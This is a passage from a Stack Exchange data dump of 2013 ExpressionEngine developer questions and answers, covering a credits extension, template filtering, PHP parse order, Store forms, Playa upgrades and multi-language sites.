//END&#xA;&#xA;&#xA;&#xA;&#xA;         function settings() {&#xA;            $settings = array();&#xA;&#xA;            $settings['credits_per_metre']      = array('i', '', &quot;1&quot;);&#xA;&#xA;            return $settings;&#xA;         } // END&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;        /**&#xA;         * Add Credits &#xA;         *&#xA;         * This function will fire when an entry is submitted/updates&#xA;         * If the entry is in the invoices channel then it will check the status&#xA;         * If the entry is being set to Approved (from another status) then it will grab the value of the metres purchased field&#xA;         * and add create a database row in the Cartthrob_credits_credits table for the logged in user&#xA;         * This is really rudimentary and probably won't port to other sites&#xA;         *&#xA;         */&#xA;&#xA;        function add_credits($entry_id, $meta, $data) {&#xA;&#xA;            $metres = $data['field_id_74'];&#xA;&#xA;            $customer = $meta['author_id'];&#xA;            $status = $meta['status'];&#xA;&#xA;            // check that this entry is in fact pending&#xA;            // we don't want to add points more than once&#xA;            // we are going to use the status to trigger the points addition&#xA;            // I can see a potential problem here if an approved entry is edited&#xA;            // may need an additional flag to say these points are already added&#xA;            // or a hook for the start of editing that only calls the add credits method&#xA;            // if the status is changed from pending to approved&#xA;            if($status == 'Approved') {&#xA;&#xA;                if ($this-&amp;gt;EE-&amp;gt;db-&amp;gt;table_exists('exp_cartthrob_credits_credits')) {   &#xA;                    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('data_formatting'); &#xA;&#xA;                    $credits_per_metre = sanitize_number($this-&amp;gt;settings['credits_per_metre']); &#xA;&#xA;                    $credits_to_add = $metres * $credits_per_metre;&#xA;&#xA;                    $table_name = 'exp_cartthrob_credits_credits';&#xA;&#xA;                    $query = 'SELECT * FROM '.$table_name.' WHERE member_id = '.$customer.' LIMIT 0,1';&#xA;                    $result = ee()-&amp;gt;db-&amp;gt;query($query);&#xA;&#xA;                    if($result-&amp;gt;num_rows()!==0) {&#xA;&#xA;                        $credits = $result-&amp;gt;row('credits');&#xA;                        $new_credit_total = $credits + $credits_to_add;&#xA;&#xA;                        $query = 'UPDATE '.$table_name.' SET credits = '.$new_credit_total.' WHERE member_id = '.$customer;&#xA;                        $result = ee()-&amp;gt;db-&amp;gt;query($query);&#xA;                    } else {&#xA;&#xA;                        // no customer found, create a row for them&#xA;&#xA;                       $sql = 'INSERT INTO '.$table_name.' VALUES(null, '.$customer.',null, null, null, null, null, '.$credits_to_add.')';&#xA;&#xA;                       $result = ee()-&amp;gt;db-&amp;gt;query($sql);&#xA;&#xA;                    }&#xA;&#xA;&#xA;                }&#xA;            }&#xA;            return true;&#xA;&#xA;        } // END&#xA;&#xA;} // END CLASS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;All sorted! The extension wasn't showing as 'Enabled' in the CP because the class name was 'FM_credits_from_entry_ext' with 2 capital letters at the start. Changing that to 'Fm_credits_from_entry_ext' fixed it and allowed access to the settings too.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-07-18T09:22:45.763" LastActivityDate="2013-11-05T13:56:55.893" Title="Trying to write a simple extension... problem 1, getting it to enable!" Tags="|add-on-development|extension|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11991" PostTypeId="1" AcceptedAnswerId="12043" CreationDate="2013-07-17T10:10:01.790" Score="0" ViewCount="172" Body="&lt;p&gt;I have a list of products with a filter in the side bar, which allows you to filter by size, country, etc. I want to be able to filter by product name in groups - 0-9, A-C, D-F, etc. The product name, as you can imagine, is contained the entry title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My dynamic parameters are working fine when it is any other custom field, but not when it is the title (or url_title) that I am trying to filter on. I've even tried filtering by the exact product name, e.g. one of the products is &quot;3 Fonteinen Oude Geuze&quot;, but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code, just in case there is something obvious that I am doing wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;more-beer-sort&quot; class=&quot;more-beer-sort&quot; method=&quot;post&quot; action=&quot;{path='{segment_1}'}&quot;&amp;gt;&#xA;  &amp;lt;label&amp;gt;&#xA;    Country:&#xA;    &amp;lt;select name=&quot;search:cf_more_country&quot; id=&quot;search:cf_more_country&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;      {exp:query sql=&quot;SELECT DISTINCT field_id_48 AS cf_more_country FROM exp_channel_data WHERE channel_id=13&quot;}&#xA;      &amp;lt;option value=&quot;{cf_more_country}&quot;&amp;gt;{cf_more_country}&amp;lt;/option&amp;gt;&#xA;      {/exp:query}&#xA;    &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;  &amp;lt;label&amp;gt;&#xA;    Style:&#xA;    &amp;lt;select name=&quot;search:cf_more_style&quot; id=&quot;search:cf_more_style&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;      {exp:query sql=&quot;SELECT DISTINCT field_id_49 AS cf_more_style FROM exp_channel_data WHERE channel_id=13&quot;}&#xA;      &amp;lt;option value=&quot;{cf_more_style}&quot;&amp;gt;{cf_more_style}&amp;lt;/option&amp;gt;&#xA;      {/exp:query}&#xA;    &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;  &amp;lt;label&amp;gt;&#xA;    Size:&#xA;    &amp;lt;select name=&quot;search:cf_more_size&quot; id=&quot;search:cf_more_size&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;      {exp:query sql=&quot;SELECT DISTINCT field_id_54 AS cf_more_size FROM exp_channel_data WHERE channel_id=13&quot;}&#xA;      {if cf_more_size!=&quot;Bottles|Draught&quot;}&#xA;      &amp;lt;option value=&quot;{cf_more_size}&quot;&amp;gt;{cf_more_size}&amp;lt;/option&amp;gt;&#xA;      {/if}&#xA;      {/exp:query}&#xA;    &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;  &amp;lt;label&amp;gt;&#xA;    Name:&#xA;    &amp;lt;select name=&quot;search:title&quot; id=&quot;search:title&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;0|1|2|3|4|5|6|7|8|9&quot;&amp;gt;0 - 9&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;A|B|C&quot;&amp;gt;A - C&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;D - F&quot;&amp;gt;D - F&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;G - I&quot;&amp;gt;G - I&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;J - L&quot;&amp;gt;J - L&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;M - O&quot;&amp;gt;M - O&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;P - R&quot;&amp;gt;P - R&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;S - U&quot;&amp;gt;S - U&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;V - Z&quot;&amp;gt;V - Z&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Filter List&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;more&quot; dynamic_parameters=&quot;search:cf_more_country|search:cf_more_style|search:cf_more_size|search:title&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; {sn_disable}}&#xA;  &amp;lt;!-- OUTPUT PRODUCTS --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, I am using the query module to only show distinct/unique entries in the filter as per this post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11044/only-show-distinct-entries&quot;&gt;Only show distinct entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help or ideas of how to resolve this issue.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-07-18T05:09:31.573" Title="Is it possible to filter on title when using dynamic_parameters?" Tags="|search|dynamic|filter|parameters|title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11992" PostTypeId="1" CreationDate="2013-07-17T10:13:58.753" Score="0" ViewCount="241" Body="&lt;p&gt;I posted this question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11132/expressionengine-php-and-stash-scope-problem-please-help&quot;&gt;ExpressionEngine, php and stash - scope problem, please help&lt;/a&gt; and really appreciate the responses and take on board that mixing ExpressionEngine and PHP tags is bad practice, and also that using embeds in a loop is bad for performance...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was originally trying to use stash and got to a place where the pdf generation would be blank the first time the user generated it and then every subsequent click to generate it, it would be one generation behind ie if you removed a favourite, it would only be reflected after generating the pdf twice more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought tring to remove stash from the equation might help. However I have a situation where I am needing to extend the ExpressionEngine favorites plugin by having more than one entry on a page able to be favourited - in this case a barristers skills that are related to the barrister currently being viewed by a playa relationship. I have had to use PHP on output to sort through the favourited entry_ids and have the barrister skills listed below each barrister and the client is keen to keep the content that is going into the pdf as ExpressionEngine tags so it is reusable in future projects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am finding with the code below is that I can generate the accurate html code in one click and display it on screen, but if I attempt to do anything else with that variable (generate a pdf) using PHP, the pdf is sent but is made of unparsed ExpressionEngine tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - is there any hope for this approach? I really can't think of another way to approach this problem and I am rather stuck! I happily use and pay for an ExpressionEngine plugin to do this but there isn't one out there that can sort through the favourited IDs and work out which are playa parents and format things in the right way and be compatible with Playa and Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for any light anyone can shed on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$barrister_expertise_titles = '{exp:stash:get name=&quot;barrister_expertise_titles&quot;}';&#xA;&#xA;// SORT BARRISTERS&#xA;$barrister_person_ids = '{exp:stash:get name=&quot;barrister_person_ids&quot;}';&#xA;$barrister_person_ids = rtrim($barrister_person_ids, ',');&#xA;$barrister_person_ids = explode(',', $barrister_person_ids);&#xA;$barrister_person_ids = array_unique($barrister_person_ids);&#xA;$barrister_person_ids = array_keys(array_count_values($barrister_person_ids)); &#xA;&#xA;&#xA;&#xA;$other_favourites = '{exp:stash:get name=&quot;other_favourites&quot;}';&#xA;$other_favourites = rtrim($other_favourites, ',');&#xA;$other_favourites = explode(',', $other_favourites);&#xA;$other_favourites = array_unique($other_favourites);&#xA;$other_favourites = array_keys(array_count_values($other_favourites)); &#xA;&#xA;&#xA;&#xA;$barrister_fave_ids =  &quot;{exp:stash:get_list name='barrister_expertise_favourites'}{fave_id}{/exp:stash:get_list}&quot;;&#xA;$barrister_fave_ids = str_replace(&quot;{fave_id}&quot;,&quot;&quot;, $barrister_fave_ids);&#xA;$barrister_fave_ids = substr_replace($barrister_fave_ids ,&quot;&quot;,-1);&#xA;$barrister_fave_ids = str_replace(' ','',$barrister_fave_ids);&#xA;&#xA;$barrister_exploded_fave_ids = explode(',', $barrister_fave_ids);&#xA;$barrister_exploded_fave_ids = array_unique($barrister_exploded_fave_ids);&#xA;$barrister_exploded_fave_ids= array_keys(array_count_values($barrister_exploded_fave_ids)); &#xA;&#xA;$num_barrister_faves = sizeof($barrister_exploded_fave_ids);&#xA;&#xA;&#xA;$html_generation = &quot;&quot;;&#xA;&#xA;// THE LOOP&#xA;$i = 0;&#xA;$num_barristers = sizeof($barrister_person_ids);&#xA;&#xA;while ($i &amp;lt; $num_barristers) &#xA;{&#xA;&#xA;    $this_barrister_id = $barrister_person_ids[$i];&#xA;&#xA;&#xA;        $html_generation .= &quot;{embed='includes/pdf_format_barrister' barrister_id='$this_barrister_id'}&quot;;&#xA;&#xA;&#xA;            $j=0;&#xA;            while ($j &amp;lt; $num_barrister_faves) { &#xA;&#xA;                $html_generation .= &quot;{embed='includes/pdf_format_expertise' barrister_id='$this_barrister_id' fave_id='$barrister_exploded_fave_ids[$j]'}&quot;;&#xA;&#xA;            $j++;&#xA;            }&#xA;&#xA;    $i++;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;$html = $html_generation; // html is in this variable and correct if echoed...&#xA;&#xA;// trying to use php to now generate the pdf (the included file below is on the server)&#xA;// but it sends a pdf without the expressionengine tags parsed...&#xA;require_once('generate_pdf.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PDF_FORMAT_BARRISTER&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;off&quot; entry_id=&quot;{embed:barrister_id}&quot; status=&quot;open&quot; disable=&quot;pagination&quot; limit=&quot;1&quot; channel=&quot;barristers_jc|barristers_qc&quot;}&#xA;&#xA;&#xA;&amp;lt;table width=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;1&quot; border=&quot;0&quot; width=&quot;640&quot;&amp;gt;&#xA;          &amp;lt;tr valign=&quot;bottom&quot;&amp;gt;&#xA;                &amp;lt;td align=&quot;left&quot; valign=&quot;middle&quot; width=&quot;484&quot;&amp;gt;&#xA;            &amp;lt;h1 style=&quot;display: inline-block;&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;                {if barristers_year_of_silk}Year of Silk: {barristers_year_of_silk format=&quot;%Y&quot;}&amp;lt;br /&amp;gt;{/if}&#xA;                Year of Call: {barristers_year_of_call format=&quot;%Y&quot;}&amp;lt;br /&amp;gt;&#xA;                {if barristers_email!=&quot;&quot; OR clerks_email!=&quot;&quot;}&amp;lt;a href=&quot;{if barristers_email}{barristers_email}{if:else}{clerks_email}{/if}&quot;&amp;gt;{if barristers_email}{barristers_email}{if:else}{clerks_email}{/if}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;                {if barristers_direct_dial}Direct Dial: {barristers_direct_dial}{/if}&#xA;                &amp;lt;/p&amp;gt;&#xA;               {if barristers_featured_quote}&#xA;                 &amp;lt;blockquote class=&quot;featured-quote&quot; style=&quot;width: 50%; clear: both;&quot;&amp;gt;&#xA;                {barristers_featured_quote}&#xA;                    {quote}&#xA;                    {if author_year}&amp;lt;h4&amp;gt;- {author_year}&amp;lt;/h4&amp;gt;{/if}&#xA;                {/barristers_featured_quote}&#xA;                  &amp;lt;/blockquote&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td align=&quot;right&quot; valign=&quot;middle&quot; width=&quot;156&quot;&amp;gt;&#xA;                    {if barristers_profile_image}   &#xA;                        &amp;lt;img src=&quot;{barristers_profile_image}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; border=&quot;0&quot; height=&quot;156&quot; width=&quot;150&quot;&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;&#xA;          &amp;lt;tr valign=&quot;bottom&quot;&amp;gt;&#xA;                &amp;lt;td align=&quot;left&quot; colspan=&quot;2&quot; width=&quot;100%&quot;&amp;gt;&#xA;                    &amp;lt;h2 class=&quot;header&quot; style=&quot;clear: both;&quot;&amp;gt;Overview&amp;lt;/h2&amp;gt;&#xA;                    {barristers_profile_overview}&#xA;&#xA;        {if barristers_other_quotes}&amp;lt;h2 class=&quot;header&quot;&amp;gt;Quotes&amp;lt;/h2&amp;gt;{/if}&#xA;         {barristers_other_quotes sort=&quot;asc&quot;}&#xA;         &amp;lt;blockquote&amp;gt;&#xA;             {quote}&#xA;             {if author_year}&amp;lt;h4&amp;gt;- {author_year}&amp;lt;/h4&amp;gt;{/if}&#xA;          &amp;lt;/blockquote&amp;gt;&#xA;        {/barristers_other_quotes}&#xA;                &amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;         &#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pdf format expertise include is similar to pdf_format_barrister &lt;/p&gt;&#xA;" OwnerUserId="1640" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-17T05:09:36.280" Title="ExpressionEngine and PHP parse order issue" Tags="|php|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11993" PostTypeId="2" ParentId="11983" CreationDate="2013-07-17T10:20:13.057" Score="4" Body="&lt;p&gt;It's a combination of Store's philosophy and ExpressionEngine's internals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaving out the action attribute in a form tag is &lt;a href=&quot;https://stackoverflow.com/questions/1131781/is-it-a-good-practice-to-use-an-empty-url-for-a-html-forms-action-attribute-a&quot;&gt;valid HTML5&lt;/a&gt;, and simply means &quot;post to the current page&quot;. We've tested this back to IE6 and have found no compatibility issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store used to use EE's native methods to get the current page URL, and use that when generating the form as the action attribute. However, these days lots of people are using plugins like Structure, and routing plugins like Freeway which modify the page URL, and trick EE into displaying a different page to the URL. In those cases, Store would submit the form to a different page than the current page, which would lead to unexpected behavior like displaying a totally different page if there were errors on the form. That is why it is preferrable to just tell the browser &quot;post to the current page&quot;, and let the browser figure out the URL rather than trying to do anything complex in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the second part is how ExpressionEngine handles form submissions. If you POST to &lt;em&gt;any&lt;/em&gt; url of an EE site, with an ACT parameter, EE treats this as an action request. It's exactly the same as requesting &lt;code&gt;index.php?ACT=123&lt;/code&gt; - the ACT parameter can be sent via POST or GET, it doesn't matter. In this case, the ACT parameter belongs to Store, which handles the form submission. Store processes the request, and if there were errors, it simply instructs EE to continue rendering the current page (which is why we post to the same URL, so we can display inline errors). If there were no errors, Store updates the cart, and redirects appropriately. This is exactly the same process Safecracker and many other add-ons use to render inline errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to answer your question - yes, it's expected behavior, and no, you can't change it (without hacking Store's files). I don't know what you mean by &quot;if that isn't set in the config it falls over&quot;, but you shouldn't have to configure anything to make it work.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-07-17T10:20:13.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11994" PostTypeId="2" ParentId="11970" CreationDate="2013-07-17T11:19:19.553" Score="21" Body="&lt;p&gt;The guys at P&amp;amp;T did come back to me in less than 24 hours with a fix. I'll post it here in case someone runs into the same problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Take a look at the columns in exp_playa_relationships table in the&#xA;  database.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Does it have a field parent_var_id? If no, then the version you should set is 4.1.&lt;/li&gt;&#xA;  &lt;li&gt;If yes, does it have a field parent_is_draft? If no, then the version you should set is 4.3&lt;/li&gt;&#xA;  &lt;li&gt;If yes, then the version you should set is 4.4.4&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Now, set the version number we determined in the previous three steps&#xA;  for the Playa field in the exp_fieldtypes table and go visit the&#xA;  Add-ons -&gt; Fieldtypes -&gt; Playa page and hit submit.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Everything should be all working now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-07-17T11:29:50.657" LastActivityDate="2013-07-17T11:29:50.657" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11995" PostTypeId="1" AcceptedAnswerId="12009" CreationDate="2013-07-17T12:10:06.540" Score="1" ViewCount="70" Body="&lt;p&gt;Pixel and Tonic, could one of you please confirm whether or not Field Pack is compatible with EE v2.5.x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-07-17T15:27:48.273" Title="Is Field Pack v2.x compatible with EE v2.5.x?" Tags="|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11996" PostTypeId="2" ParentId="11946" CreationDate="2013-07-17T12:47:26.043" Score="0" Body="&lt;p&gt;You don't &lt;em&gt;have&lt;/em&gt; to create a &lt;strong&gt;select&lt;/strong&gt; field for mailinglists in &lt;code&gt;{exp:user:register}&lt;/code&gt;. You can modify the code in the docs (&lt;a href=&quot;http://www.solspace.com/docs/user/register/#select_mailing_lists&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/register/#select_mailing_lists&lt;/a&gt;) for your own purposes, for example to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{select_mailing_lists}&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;mailinglist_subscribe[]&quot; value=&quot;{list_id}&quot; id=&quot;mailing_list_{list_id}&quot; /&amp;gt; &amp;lt;label for=&quot;mailing_list_{list_id}&quot;&amp;gt;{list_title}&amp;lt;/label&amp;gt;&#xA;{/select_mailing_lists}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key here (and in many EE forms) is to pass the right name=&quot;&quot;. Please note the brackets &lt;code&gt;[]&lt;/code&gt; in each field's name=&quot;&quot; attribute. This allows for multiple selected mailing lists to be submitted with the form.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-07-17T12:47:26.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11997" PostTypeId="1" CreationDate="2013-07-17T13:20:41.797" Score="1" ViewCount="411" Body="&lt;p&gt;I am using this Master Config, &lt;a href=&quot;http://eeinsider.com/articles/multi-server-setup-for-ee-2&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-server-setup-for-ee-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is my site now shows a server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a pastie of my master config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/G2PvFFck&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/G2PvFFck&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ERROR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning:&#xA;require(/Applications/MAMP/Development/ExpressionEngine/pixelsandcode/../config/‌​config.master.php):&#xA;failed to open stream:&#xA;No such file or directory in &#xA;/Applications/MAMP/Development/ExpressionEngine/pixelsandcode/pixels/expressione‌​ngine/config/config.php&#xA;on line 38&#xA;&#xA;Fatal error:&#xA;require():&#xA;Failed opening required '/Applications/MAMP/Development/ExpressionEngine/pixelsandcode/../config/config.‌​master.php'&#xA;(include_path='.:/Applications/MAMP/bin/php/php5.4.10/lib/php') in&#xA;/Applications/MAMP/Development/ExpressionEngine/pixelsandcode/pixels/expressione‌​ngine/config/config.php&#xA;on line 38&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="69" LastEditDate="2013-10-21T05:18:28.677" LastActivityDate="2013-10-21T05:22:25.400" Title="Using Master Config" Tags="|config|focus-lab-master-config|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="11999" PostTypeId="1" AcceptedAnswerId="17583" CreationDate="2013-07-17T14:16:17.260" Score="2" ViewCount="914" Body="&lt;p&gt;I have a multi language site (using Transcribe addon) and I would like my users to be redirected to the correct language based on their IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is that when a user visits the root homepage &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt; it will redirect them to &lt;a href=&quot;http://www.example.com/en&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/en&lt;/a&gt; if their IP address is from the UK or &lt;a href=&quot;http://www.example.com/fr&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/fr&lt;/a&gt; is they are from France for example. But once they are on a language they are not redirected. I’ve tried the native IP nation addon but it didn’t seem to work very well so I’ve used the IP Geo addon at &lt;a href=&quot;http://devot-ee.com/add-ons/ipgeo&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ipgeo&lt;/a&gt;. But I’m having loads of problems with rewriting the homepage with htaccess, forcing the correct redirect with Transcribe, template parsing order etc… So I’m thinking of starting from fresh if anyone can give me suggestions on how best to do this.&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2016-10-26T10:36:31.863" Title="Redirect multi language site based on IP address" Tags="|multi-language|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12000" PostTypeId="1" AcceptedAnswerId="12058" CreationDate="2013-07-17T14:26:33.393" Score="1" ViewCount="292" Body="&lt;p&gt;I'd like to make a template that generates an XML sitemap for my multilanguage site (using Transcribe addon) that contains all entries in all languages. The site structure is just simple flat pages like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/en/page1-english&#xA;/en/page2-english&#xA;/de/page1-german&#xA;/de/page2-german&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this code and it works apart from the exp:transcribe:uri tag only gives me a link for the default language. How can I get transcribe to give me links for all entries in all languages?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;urlset&#xA;      xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xA;      xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xA;      xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&#xA;            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;not products&quot;  transcribe=&quot;disable&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;url&amp;gt;&#xA;&amp;lt;loc&amp;gt;&#xA;{exp:transcribe:uri path=&quot;{url_title}&quot;}&#xA;&amp;lt;/loc&amp;gt;&amp;lt;/url&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/urlset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2013-08-17T13:09:50.870" Title="Transcribe addon &amp; XML sitemap" Tags="|multi-language|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12001" PostTypeId="1" AcceptedAnswerId="12005" CreationDate="2013-07-17T14:52:43.253" Score="0" ViewCount="60" Body="&lt;p&gt;When I test my new story (express-store) in chrome and I get to the checkout part and the https kicks in the style sheet breaks. and  the yellow lock icon appears in the address bar. The images load on the page but not the styles. However, in Safari or Firefox this does NOT happen and it lets me complete the purchase. Running the last version of both EE and Express-Store). &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-07-17T16:01:26.013" Title="https in Broken in Chrome with Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12002" PostTypeId="1" AcceptedAnswerId="12004" CreationDate="2013-07-17T14:55:16.077" Score="1" ViewCount="64" Body="&lt;p&gt;A client is interested in allowing visitors to leave their personal stories on the site. Ideally these would go to the content list in draft mode and then be published by staff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to take a content creation form for a channel, and put it in the front end, with no requirement to log in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's no big deal if it can't be done. I'm just curious.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-07-17T15:24:44.913" Title="Is it possible to have a front-facing content creation form, for use of visitors, that creates draft content?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12003" PostTypeId="1" AcceptedAnswerId="12010" CreationDate="2013-07-17T15:04:17.073" Score="0" ViewCount="177" Body="&lt;p&gt;I'm going to be importing some info using DataGrab for about 700 entries (on this site an entry is a construction project). One of the fields is a number that shows the cost of the project. On the front end of the site users need to be able to order the projects based on the cost. I want to display the cost on the front end with commas where necessary ($1,123,345). What is the best way to setup the import for that field? If it's a text field would I be able to order if it has numbers and commas? If it is a numbers field would I be able to add commas after the fact? I just don't want the client to have to go back and redo the projects import file. Any ideas would be great! Thanks. &lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-07-17T17:36:16.320" Title="Quick questions on importing data using datagrab" Tags="|datagrab|number-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
